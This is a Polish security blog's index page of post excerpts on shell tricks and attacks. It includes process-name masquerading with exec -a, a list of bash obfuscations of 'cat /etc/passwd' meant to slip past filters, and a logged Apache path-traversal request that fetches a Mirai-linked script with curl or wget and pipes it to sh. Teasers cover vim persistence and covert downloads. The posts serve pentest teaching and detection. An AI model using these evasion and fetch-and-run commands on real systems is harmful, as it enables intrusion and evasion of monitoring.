Napisał: Patryk Krawaczyński
03/12/2024 w Bezpieczeństwo
W
szystko jest plikiem to koncepcja zakładającą, że w systemach z rodziny *nix wejście / wyjście do i z zasobów (dyski twarde, urządzenia sieciowe, urządzenia peryferyjne) jest prostym strumienim bajtów udostępnionych przez przestrzeń nazw systemu plików. Oznacza to, że jesteśmy w stanie wykonać ten sam zestaw operacji opisany dla plików na każdym obiekcie w systemie, ponieważ każdy z nich jest “plikiem”. Możemy otworzyć konkretne urządzenie / plik, odczytać z niego, zapisać do niego i zamknąć je po zakończeniu. Dane z tego zasobu są również przesyłane strumieniowo. Jedyną rzeczą, która się zmienia jest źródło danych. Na przykład, gdy piszemy w terminalu w rzeczywistości zapisujemy dane do zasobu o nazwie standardowe wejście (ang. standard input – stdin). Gdy dane są wyświetlane na terminalu, używane jest standardowe wyjście (ang. standard output – stdout).
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
27/10/2024 w CmdLineFu, Hacks & Scripts
// sleeper.c
#include
#include
int main()
{
sleep(60);
printf("Infecting Linux Host.");
return 0;
}
agresor@darkstar:~$ gcc -o sleeper sleeper.c
agresor@darkstar:~$ exec -a '/lib/systemd/systemd --abuse' ./sleeper &
[1] 5354
agresor@darkstar:~$ ps x
PID TTY STAT TIME COMMAND
4925 ? Ss 0:00 /lib/systemd/systemd --user
4926 ? S 0:00 (sd-pam)
4988 ? R 0:00 sshd: agresor@pts/0
4989 pts/0 Ss 0:00 -bash
5354 pts/0 S 0:00 /lib/systemd/systemd --abuse
5357 pts/0 R+ 0:00 ps x
Należy mieć na uwadze, że exec najlepiej w tym przypadku działa z plikami binarnymi. I bardzo prosto wykryć ten trick:
agresor@darkstar:~$ ls -al /proc/5354/exe
lrwxrwxrwx 1 agresor agresor 0 Oct 27 19:24 /proc/5354/exe -> /home/agresor/sleeper
agresor@darkstar:~$ cat /proc/5354/cmdline
/lib/systemd/systemd --abuse
agresor@darkstar:~$ cat /proc/5354/comm
sleeper
Więcej informacji: Why isn’t `exec -a` working the way I expect?
Napisał: Patryk Krawaczyński
15/09/2024 w Hacks & Scripts, Pen Test
P
owłoka bash zawiera wiele funkcji, które pojawiają się w innych popularnych powłokach, a także niektóre funkcje, które są tylko w niej. Dzięki rozbudowanej składni pozwala na pisanie skryptów w wewnętrznym języku programowania, a jego elementy upraszczają pracę w codziennej pracy z wydawanymi poleceniami np. touch {exploit,payload}.{c,sh}
tworzy jednym poleceniem cztery pliki: exploit.c, exploit.sh, payload.c, payload.sh. Dzięki temu jedno polecenie może zostać wydane na wiele różnych sposobów używając techniki zaciemnienia / obfuskacji (ang. obfuscation), która zmienia składnię polecenia, ale zachowuje jego semantykę jednocześnie utrudniając jego zrozumienie i umożliwiając ominięcie różnego rodzaju filtrów i mechanizmów detekcyjnych. Na przykład popularne polecenie, takie jak:
cat /etc/passwd
może zostać zapisane na wiele różnych sposobów dając ten sam wynik:
cat /et\
c/pa\
sswd
cat${IFS}/etc/passwd
IFS=,;`cat<<<cat,/etc/passwd`
{cat,/etc/passwd}
cat</etc/passwd
X=$'cat\x20/etc/passwd'&&$X
cat ${HOME:0:1}etc${HOME:0:1}passwd
{\c''\a""t,/e''*?/?a?s??}
{\c''\a""\t,/\e''*?/\p*w\d}
{$'\x63'\a$'\x74',/\e''*?/\p*w$'\x64'}
{/b??/g?e?,.,/e??/p?s??d}
$(echo {/b??/ge*n''t,\p\a\s\s\w\d})
$(echo cat /etc/[p][a][s][s][w][d])
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
hex=(63 61 74 20 2F 65 74 63 2F 70 61 73 73 77 64) \
echo $(for i in ${hex[@]}; do echo -n -e "\x$i"; done) | sh
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
showme=/ehhh/hmtc/pahhh/hmsswd&&cat ${showme//hhh\/hm/}
Przykłady te wykorzystują znak ucieczki dla nowej linii, separator pól wejściowych, przekierowania strumieni, notację ANSI-C, podstawianie poleceń, rozbudowę klamry, manipulację ciągami tekstowymi, symbole wieloznaczne, wyrażenia regularne z nawiasami kwadratowymi, przekształcanie oraz rozszerzanie parametrów powłoki. Możliwości zapisu poleceń w postaci alternatywnej zależy tylko od naszej kreatywności oraz poziomu zaawansowania umiejętności administracyjno-programistycznych w powłoce.
Więcej informacji: Extraction of wiki.bash-hackers.org from the Wayback Machine
Napisał: Patryk Krawaczyński
03/06/2024 w Ataki Internetowe
W
sieci wciąż krążą automaty szukające podatnych na path traversal oraz zdalne wykonanie poleceń serwerów HTTP Apache. Na przykład z dwóch chińskich adresów IP: 117.184.158.27 oraz 124.165.198.25 możemy zostać uraczeni następującym żądaniem typu POST:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
accept: */*
host: 1.2.3.4:443
upgrade-insecure-requests: 1
user-agent: Custom-AsyncHttpClient
content-length: 109
content-type: text/plain
x-http-version: 1.1
x-remote-port: 52454
x-forwarded-for: 124.165.198.25
x-untrusted: 1
x-forwarded-proto: https
X=$(curl http://93.123.39.27/jVA.sh || wget http://93.123.39.27/jVA.sh -O-); \
echo \"$X\" | sh -s apache.selfrep
Bułgarski adres IP, na którym jest hostowany ładunek, jest również związany z botnentem Mirai:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
28/11/2023 w Pen Test
C
zy do pobrania pliku z internetu za pomocą protokołu http jest potrzebne inne narzędzie (np. curl) niż powłoka bash? Czy możemy napisać taką funkcję, która przyjmie adres nie związany z typowym ciągiem URL, aby nie budzić różnych systemów? Spróbujmy odpowiedzieć na te pytania. Zacznijmy od przekazania argumentu, który określi z jakiego adresu plik ma być pobrany. Naszym ciągiem tekstowym będzie: “stardust.nfsec.pl+80+payload.sh“, czyli separatorem zmiennych będzie znak “+”. W powłoce bash istnieje specjalna zmienna o nazwie Internal Field Separator (IFS), za pomocą której możemy zdefiniować separator dla polecenia read. Polecenie to może przypisać kilka zmiennych na raz, jeśli przekażemy mu dane wejściowe za pomocą metody Here Strings (podobnej do Here Documents). Czyli nasza pierwsza linia będzie miała postać:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
04/11/2023 w Pen Test
Z
amieniliśmy już edytor vim w rejestrator naciskanych klawiszy, teraz umieścimy w nim mechanizm persystencji. Plik konfiguracyjny .vimrc
zawiera konfigurację dla tego edytora, a dzięki wtyczkom, modułom sprawdzania i kolorowania składni oferuje nieograniczone możliwości dostosowywania do użytkownika. Istnieją również sposoby wykonywania poleceń powłoki i dowolnych skryptów. Biorąc pod uwagę, że przy każdym uruchomieniu programu vim ładowany jest plik .vimrc
, okazuje się, że jest to świetny sposób na regularne wykonywanie zadań, takich jak sprawdzanie, czy jest dodany odpowiedni klucz SSH do systemu. Staje się to jeszcze bardziej interesujące podczas, gdy edytor uruchamia administrator.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
02/03/2023 w Administracja
K
ażde polecenie jest zapisywane w historii powłoki. Możemy ją ograniczać; obchodzić te ograniczenia; dodawać do niej czas wykonania poleceń; ulepszać wyszukiwanie itd. Najprostszym sposobem korzystania z historii jest używanie klawiszy kursora góra/dół. Większość użytkowników jest świadoma skrótu [Ctrl]+R. Naciskasz kombinację [Ctrl]+R
(R jak reverse – wyszukiwanie wsteczne) kilka razy i jak przegapisz szukane polecenie, przewracasz oczami, naciskasz [Ctrl]+C
i szukasz ponownie. Dlaczego w takim przypadku nie użyć wyszukiwania “do przodu” np. za pomocą [Ctrl]+S
? Otóż w standardowej konfiguracji kombinacja [Ctrl]+S
zawiesza terminal, a [Ctrl]+Q
go odwiesza. Funkcjonalność ta pochodzi z dawnych czasów i przydawała się m.in. przy zatrzymywaniu przepływu danych przez terminal. Dzisiaj już raczej się jej nie wykorzystuje. W celu wyłączenia tej funkcji i przywrócenia możliwości przeszukiwania historii wystarczy dodać linię do startowego pliku powłoki:
echo "stty -ixon" >> ~/.bash_profile
Teraz możemy przeszukiwać historię wstecz i do przodu używając [Ctrl]+R
i [Ctrl]+S
.
Więcej informacji: How to unfreeze after accidentally pressing Ctrl-S in a terminal?
Napisał: Patryk Krawaczyński
14/10/2022 w CmdLineFu
alias containerstorm='docker stop $(docker ps -aq) && docker rm $(docker ps -aq) && docker rmi $(docker images -q)'
Napisał: Patryk Krawaczyński
25/05/2022 w Bezpieczeństwo, Pen Test
W
yobraźmy sobie, że nasz system został zainfekowany przerobionym i trudnym do wykrycia implantem sieciowym. W swojej przeróbce został on uzbrojony w moduł inwigilacji oparty o eCapture. Jest to zwinne narzędzie napisane w języku Go, które również wykorzystuje technologię eBPF. Umożliwia ona uruchamianie programów zamkniętych w piaskownicy jądra systemu operacyjnego. Dzięki temu potrafi przechwycić zaszyfrowaną komunikację sieciową bez konieczności “podpinania” Urzędu Certyfikacji (ang. Certificate Authority), któremu należy zaufać. Zamiast tego wpina się w funkcje SSL_write
/ SSL_read
współdzielonej biblioteki SSL, aby uzyskać kontekst tekstowy i wysłać tak uzyskane wiadomości do przestrzeni użytkownika za pomocą map eBPF.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
27/09/2021 w Bezpieczeństwo, Debug
S
ysdiagnose to narzędzie, które znajduje się na większości urządzeń z systemem macOS i iOS. Służy ono do zbierania informacji diagnostycznych dotyczących całego systemu. Obecna wersja – 3.0 zbiera duże ilości danych z szerokiej gamy lokalizacji w systemie. Mogą one być przydatne w informatyce śledczej komputera prowadzonej na żywo. W przypadku poszukiwań złośliwego oprogramowania przechwycone dane mogą pomóc w zidentyfikowaniu zainfekowanego pliku binarnego; mechanizmu persystencji (gdy złośliwe oprogramowanie uzyska dostęp do systemu, często chce zostać tam przez długi czas opracowując metody pozwalające na jego powrót po restarcie systemu; jeśli mechanizm persystencji jest wystarczająco unikalny, może nawet służyć jako świetny sposób na określenie cechy charakterystycznej danego złośliwego oprogramowania) lub połączeń do C2 (serwery Command and Control – nazywane również C&C odnoszą się do sposobu, w jaki atakujący komunikują się i sprawują kontrolę nad zainfekowanym systemem; po zainfekowaniu systemu większość złośliwego oprogramowania komunikuje się z serwerem kontrolowanym przez atakującego, aby przyjmować polecenia, pobierać dodatkowe komponenty lub wykradać informacje).
[ czytaj całość… ]
Ostatni komentarz :